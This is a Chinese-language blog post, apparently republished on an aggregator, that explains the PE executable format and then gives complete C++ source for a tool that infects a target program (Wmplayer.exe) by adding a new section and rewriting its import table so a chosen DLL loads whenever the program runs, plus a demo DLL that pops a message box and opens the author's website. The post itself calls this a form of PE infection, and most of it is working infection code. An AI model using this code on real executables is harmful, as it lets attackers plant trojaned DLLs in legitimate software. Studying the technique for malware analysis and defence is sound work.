劫持 PE 文件:新建节表并插入指定 DLL 文件

这篇具有很好参考价值的文章主要介绍了劫持 PE 文件:新建节表并插入指定 DLL 文件。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

劫持 PE 文件:新建节表并插入指定 DLL 文件

PE格式简介

PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。

Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。

PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。

下面是一个简化的PE文件格式

简化PE文件格式

DOS MZ Header
PE Header
Section Table
Section 1
Section 2
...
Section n

Dos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。

1、入口点 Entry Point

2、文件偏移地址 File Offset

3、虚拟地址 Virtual Address 简称:VA

4、基地址 ImageBase

5、相对虚拟地址 Relative Virual Address 简称:RVA

公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)

文件偏移地址和虚拟地址转换

在X86系统中,每个内存页的大小是4KB,即0X1000个字节。

文件偏移地址 File Offset = RVA (相对虚拟地址)

文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)

PE具体结构图

pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。

如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。

几个宏定义:

IMAGE_DOS_HEADER

typedef struct _IMAGE_DOS_HEADER

{
 
WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)
 
WORD e_cblp; //文件最后页的字节数
 
WORD e_cp; //文件页数
 
WORD e_crlc; //重定义元素个数
 
WORD e_cparhdr; //头部尺寸,以段落为单位
 
WORD e_minalloc; //所需的最小附加段
 
WORD e_maxalloc; //所需的最大附加段
 
WORD e_ss; //初始的SS值(相对偏移量)
 
WORD e_sp; //初始的SP值
 
WORD e_csum; //校验和
 
WORD e_ip; //初始的IP值
 
WORD e_cs; //初始的CS值(相对偏移量)
 
WORD e_lfarlc; //重分配表文件地址
 
WORD e_ovno; //覆盖号
 
WORD e_res[4]; //保留字
 
WORD e_oemid; //OEM标识符(相对e_oeminfo)
 
WORD e_oeminfo; //OEM信息
 
WORD e_res2[10]; //保留字
 
DWORD e_lfanew; //新exe头部的文件地址
 
}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_NT_HEADERS

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
 
typedef struct IMAGE_NT_HEADERS
 
{
 
DWORD Signature;
 
IMAGE_FILE_HEADER FileHeader;
 
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
 
}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;
 
typedef struct IMAGE_FILE_HEADER
 
{
 
WORD Machine;
 
WORD NumberOfSections;//节的数量
 
DWORD TimeDateStamp;
 
DWORD PointerToSymbols;
 
DWORD NumberOfSymbols;
 
WORD SizeOfOptionalHeader;
 
WORD Characteristics;
 
}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;
 
typedef struct IMAGE_OPTIONAL_HEADER32
 
{
 
WORD Magic;
 
BYTE MajorLinkerVersion;
 
BYTE MinorLinkerVersion;
 
DWORD SizeOfCode;
 
DWORD SizeOfInitializedData;
 
DWORD SizeOfUnInitializedData;
 
DWORD AddressOfEntryPoint;
 
DWORD BaseOfCode;
 
DWORD BaseOfData;
 
DWORD ImgaeBase;
 
DWORD SectionAlignment;
 
DWORD FileAlignment;
 
WORD MajorOperatingSystemVersion;
 
WORD MinorOperatingsystemversion;
 
WORD MajorImageVersion;
 
WORD MinorImageVersion;
 
WORD MajorSubsybtemVersion;
 
WORD MinorSubsybtemVersion;
 
DWORD Win32VersionValue;
 
DWORD SizeOfImage;
 
DWORD SizeoOfHeaders;
 
DWORD CheckSum;
 
WORD Subsystem;
 
WORD DllCharacteristics;
 
DWORD SizeOfStackReserve;
 
DWORD SizeOfStackCommit;
 
DWORD SizeOfHeapReserve;
 
DWORD SizeOfHeapCommit;
 
DWORD LoaderFlages;
 
DWORD NumberOfRvaAndSizes;
 
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
 
}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

IMAGE_SECTION_HEADER

PE文件头后是节表,在winnt.h下如下定义
 
typedef struct _IMAGE_SECTION_HEADER
 
{
 
//IMAGE_SIZEOF_SHORT_NAME=8
 
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"
 
union
 
{
 
DWORD PhysicalAddress;//物理地址
 
DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小
 
} Misc;
 
DWORD VirtualAddress;//RVA
 
DWORD SizeOfRawData;//物理长度
 
DWORD PointerToRawData;//节基于文件的偏移量
 
DWORD PointerToRelocations;//重定位的偏移
 
DWORD PointerToLinenumbers;//行号表的偏移
 
WORD NumberOfRelocations;//重定位项数目
 
WORD NumberOfLinenumbers;//行号表的数目
 
DWORD Characteristics;//节属性 如可读,可写,可执行等
 
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef struct IMAGE_THUNK_DATA
 
{
 
union
 
{
 
DWORD ForwarderString;
 
DWORD Function;
 
DWORD Ordinal;
 
DWORD AddressOfData;
 
}u1;
 
}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;
 
typedef struct IMAGE_IMPORT_BY_NAME
 
{
 
WORD Hint;
 
BYTE Name;
 
}IMAGE_IMPORT_BY_NAME;

详细PE结构说明请查阅:

PE文件结构详解 --(完整版)

修改 PE 文件 IAT 注入

通过以上的简单了解后,那么我们便进入正题。

    下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。

    1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。

    2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。

IDT 结构:

劫持 PE 文件:新建节表并插入指定 DLL 文件

IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。

IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

劫持 PE 文件:新建节表并插入指定 DLL 文件

废话不多说……直接上代码。

现实代码

DLL:

点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
 
extern "C"
{
	__declspec(dllexport) int Msg();
}
 
__declspec(dllexport) int Msg()
{
	system("start https://www.chwm.vip/?PEinject_v1.0");
	return 0;
}
 
DWORD WINAPI Thread(LPVOID LpParameter)
{
	char szPath[MAX_PATH] = { 0 };
	char szBuf[1024] = { 0 };
	GetModuleFileName(NULL, szPath, MAX_PATH);
	sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());
	MessageBox(NULL, szBuf, "DLL Inject", MB_OK);
	return 0;
}
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		CreateThread(NULL, 0, Thread, NULL, 0, NULL);
        Msg();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
 

主程序:

点击查看代码
// PEinject.cpp : 定义控制台应用程序的入口点。
//
 
#include "stdafx.h"
#include "PEinject.h"
 
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
 
#define ERROR_MESSAGE(Msg) cout << Msg << endl;
 
 
// 唯一的应用程序对象
 
CWinApp theApp;
 
using namespace std;
 
 
 
BOOL    AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL    AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL    AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD   RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);
 
 
 
BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{
	BOOL bOk = false;
	try
	{
		bOk = AddNewSection(strTargetFile, 256);
		if (!bOk)
		{
			ERROR_MESSAGE("AddImportTable:AddNewSection failed.");
			return false;
		}
 
		bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);
		if (!bOk)
		{
			ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");
			return false;
		}
	}
	catch (exception* e)
	{
		ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());
		return false;
	}
 
	return true;
}
 
BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{
	BOOL bOk = true;
	HANDLE TargetFileHandle = nullptr;
	HANDLE MappingHandle = nullptr;
	PVOID FileData = nullptr;
 
	try
	{
		// 打开文件
		TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (TargetFileHandle == INVALID_HANDLE_VALUE)
		{
			ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
 
		ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
 
		// 映射文件
		MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
		if (MappingHandle == NULL)
		{
			ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
 
		// 得到缓存头
		FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
		if (FileData == NULL)
		{
			ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
 
		// 判断是否是PE文件
		if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}
 
		PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
		if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}
 
		// 判断是否可以增加一个新节
		if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/)
		{
			ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");
			bOk = false;
			goto EXIT;
		}
 
		// 得到新节的起始地址, 最后的起始地址
		PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;
		PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;
 
		// 对齐RVA和偏移
		DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);
		DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
		DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);
		DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);
 
		// 填充新节表
		memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));
		pNewSectionHeader->VirtualAddress = VirtualOffset;
		pNewSectionHeader->Misc.VirtualSize = VirtualSize;
		pNewSectionHeader->PointerToRawData = FileOffset;
		pNewSectionHeader->SizeOfRawData = FileSize;
		pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
 
		// 修改IMAGE_NT_HEADERS
		pNtHeaders->FileHeader.NumberOfSections++;
		pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;            // 关闭绑定导入
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
 
		// 添加新节到文件尾部
		SetFilePointer(TargetFileHandle, 0, 0, FILE_END);
		PCHAR pNewSectionContent = new CHAR[FileSize];
		RtlZeroMemory(pNewSectionContent, FileSize);
		DWORD dwWrittenLength = 0;
		bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);
		if (bOk == false)
		{
			ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
	}
	catch (exception* e)
	{
		ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());
		bOk = false;
	}
EXIT:
	if (TargetFileHandle != NULL)
	{
		CloseHandle(TargetFileHandle);
		TargetFileHandle = nullptr;
	}
	if (FileData != NULL)
	{
		UnmapViewOfFile(FileData);
		FileData = nullptr;
	}
	if (MappingHandle != NULL)
	{
		CloseHandle(MappingHandle);
		MappingHandle = nullptr;
	}
 
	return bOk;
}
 
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{
	return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign);        //  想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
}
 
BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{
	bool bOk = true;
	HANDLE TargetFileHandle = nullptr;
	HANDLE MappingHandle = nullptr;
	PVOID FileData = nullptr;
	PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;
 
	try
	{
		// 打开文件
		TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (TargetFileHandle == INVALID_HANDLE_VALUE)
		{
			ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
 
		ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
 
		// 映射文件
		MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
		if (MappingHandle == NULL)
		{
			cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();
			bOk = false;
			goto EXIT;
		}
 
		// 得到缓存头
		FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
		if (FileData == NULL)
		{
			ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
 
		// 判断是否是PE文件
		if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}
 
		PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
		if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}
 
		// 得到原导入表
		pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
 
		// 判断是否使用了绑定导入表
		bool bBoundImport = false;
		if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0)
		{
			// 桥一为0 桥二不是0 说明使用了绑定导入表
			bBoundImport = true;
			pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    // 关闭绑定导入
			pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
		}
 
		// 找到自己添加的新节
		PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;
		PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;
		PBYTE pNewImportDescriptor = pNewSectionData;
 
		// 往新节中拷贝原导入表内容
		int i = 0;
		while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0)
		{
			memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));
			pImportTable++;
			pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
			i++;
		}
 
		// 复制最后一个描述符
		memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));
 
		// 计算修正值
		DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;
 
		// pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *
		PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));
		PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);
		memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());
		// 确定 DllName 的位置
		pszDllName[strInjectDllName.length() + 1] = 0;
		// 确定 IMAGE_IMPORT_BY_NAM 的位置
		PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);
		// 初始化 IMAGE_THUNK_DATA
		pNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;
		// 初始化 IMAGE_IMPORT_BY_NAME
		pImportByName->Hint = 1;
		memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());
		pImportByName->Name[strFunctionName.length() + 1] = 0;
		// 初始化 PIMAGE_IMPORT_DESCRIPTOR
		if (bBoundImport)
		{
			((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;
		}
		else
		{
			((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
		}
		((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
		((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;
		// 修改导入表入口
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}
	catch (exception* e)
	{
		ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());
		bOk = false;
	}
 
EXIT:
	{
		if (TargetFileHandle != NULL)
		{
			CloseHandle(TargetFileHandle);
			TargetFileHandle = nullptr;
		}
 
		if (FileData != NULL)
		{
			UnmapViewOfFile(FileData);
			FileData = nullptr;
		}
 
		if (MappingHandle != NULL)
		{
			CloseHandle(MappingHandle);
			MappingHandle = nullptr;
		}
	}
 
	return bOk;
}
 
PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{
	int i;
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);
	for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++)
	{
		if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData)))
		{
			return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));
		}
	}
	return PIMAGE_SECTION_HEADER(NULL);
}
 
DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{
	DWORD _offset;
	PIMAGE_SECTION_HEADER section;
	// 找到偏移所在节
	section = GetOwnerSection(pNTHeaders, dwRVA);
	if (section == NULL)
	{
		return(0);
	}
	// 修正偏移
	_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
	return(_offset);
}
 
int main(int argc, char *argv[])
{
	AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");
 
    system("start https://www.chwm.vip/?PEinject_v1.0");
 
	system("pause");
 
	return 0;
}

效果演示

修改前

劫持 PE 文件:新建节表并插入指定 DLL 文件

修改后

劫持 PE 文件:新建节表并插入指定 DLL 文件

运行效果

劫持 PE 文件:新建节表并插入指定 DLL 文件文章来源地址https://www.toymoban.com/news/detail-776878.html

到了这里,关于劫持 PE 文件:新建节表并插入指定 DLL 文件的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 白加黑(dll劫持)

    DLL劫持已经是一个很古老成熟对技术了,以前就有看到有许多人用来做游戏外挂(2008年左右甚至更早以前),近期我了解到现在还有许多对人使用DLL劫持做权限维持,因为之前只是一直知道这个技术原理但是却没有实际使用过,并且最近看到有人开源了一份非常不错的检测工具

    2024年04月14日
    浏览(31)
  • dll劫持

    dll为动态链接库文件,又称\\\"应用程序拓展\\\",是软件文件类型。在Windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理解类似于我们编程中引入的模块。 静态编译 :debug状态下:MTd release状态下:

    2024年02月05日
    浏览(28)
  • msdtc.exe dll劫持

    msdtc.exe是微软 分布式传输协调程序 。该进程调用系统 Microsoft Personal Web Server 和 Microsoft SQL Server 。该服务用于管理多个服务器。 msdtc.exe是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源管理器,删除要小心。 对应服务MSDTC,全称Distrib

    2024年02月04日
    浏览(33)
  • c++文件操作(2)-- 按照指定格式读写文件

    目录 按照指定格式写文件 代码说明:   按照指定格式读文件 -- 解析一定格式的字符串 代码说明:  注意:  问: 为什么使用getline()?   在实际开发中,我们以一定的格式写入文件当中。  其实就是使用stringstream类对象来实现。   代码说明:   大部分操作和写文件类似,只是

    2024年01月24日
    浏览(37)
  • Excel无法打开文件新建 XLSX 工作表.xlsx,因为文件格式或文件扩展名无效。请确定文件未损坏解决办法【笔记】

    使用问题: 右键新建Microsoft Excel工作表,双击打开表格文件提示以下内容: “Excel无法打开文件新建 XLSX 工作表.xlsx,因为文件格式或文件扩展名无效。请确定文件未损坏,并且文件扩展名与文件的格式匹配” 。 确认了以下路径的文件正常打开 C:Program FilesMicrosoft Officero

    2024年02月11日
    浏览(71)
  • 内核中劫持线程注入DLL并隐藏

    在本文中,我们将讨论如何在Windows驱动层劫持进程线程、注入DLL并隐藏注入后的内存。但请注意,本文描述的方法仅用于教育和研究目的,不得用于非法或恶意目的。对于任何可能导致对他人计算机、数据或设备造成损害的行为,本文概不负责。 以下是在Windows驱动层劫持进

    2024年02月20日
    浏览(34)
  • 驱动开发:内核RIP劫持实现DLL注入

    本章将探索内核级DLL模块注入实现原理,DLL模块注入在应用层中通常会使用 CreateRemoteThread 直接开启远程线程执行即可,驱动级别的注入有多种实现原理,而其中最简单的一种实现方式则是通过劫持EIP的方式实现,其实现原理可总结为,挂起目标进程,停止目标进程EIP的变换

    2024年02月09日
    浏览(43)
  • 提权 - Windows 烂土豆/ dll劫持 /服务权限

    烂土豆结合令牌窃取进行提权,WEB权限提权到system权限。 1.原理 1.欺骗“NT AUTHORITYSYSTEM”账户通过NTLM认证到控制的TCP终端 2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITYSYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。 3.模仿这

    2024年01月19日
    浏览(56)
  • 【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限

    文章内容复现于小迪安全相关课程 用户帐户控制 ( User Account Control ,简写作UAC)是 微软 公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对 应用程序 使用 硬盘驱动器 和 系统文件 授权,以达到帮助阻止 恶意程序 (有时也称为“ 恶意

    2024年02月05日
    浏览(38)
  • Java Websocket发送文件给Vue客户端接收并上传,实现检测U盘插入并将指定文件上传到服务器功能

    应用环境: B/S架构 需求描述: 1、判断U盘接入 2、扫描U盘指定文件,将满足条件的文件发送给服务器 解决思路: 1、因为bs架构,无法获取本机资源,计划在U盘所在服务器部署websocket服务 2、websocket服务扫描u盘,拿到指定文件,使用session.getBasicRemote().sendBinary(data)分批发送二

    2024年01月15日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包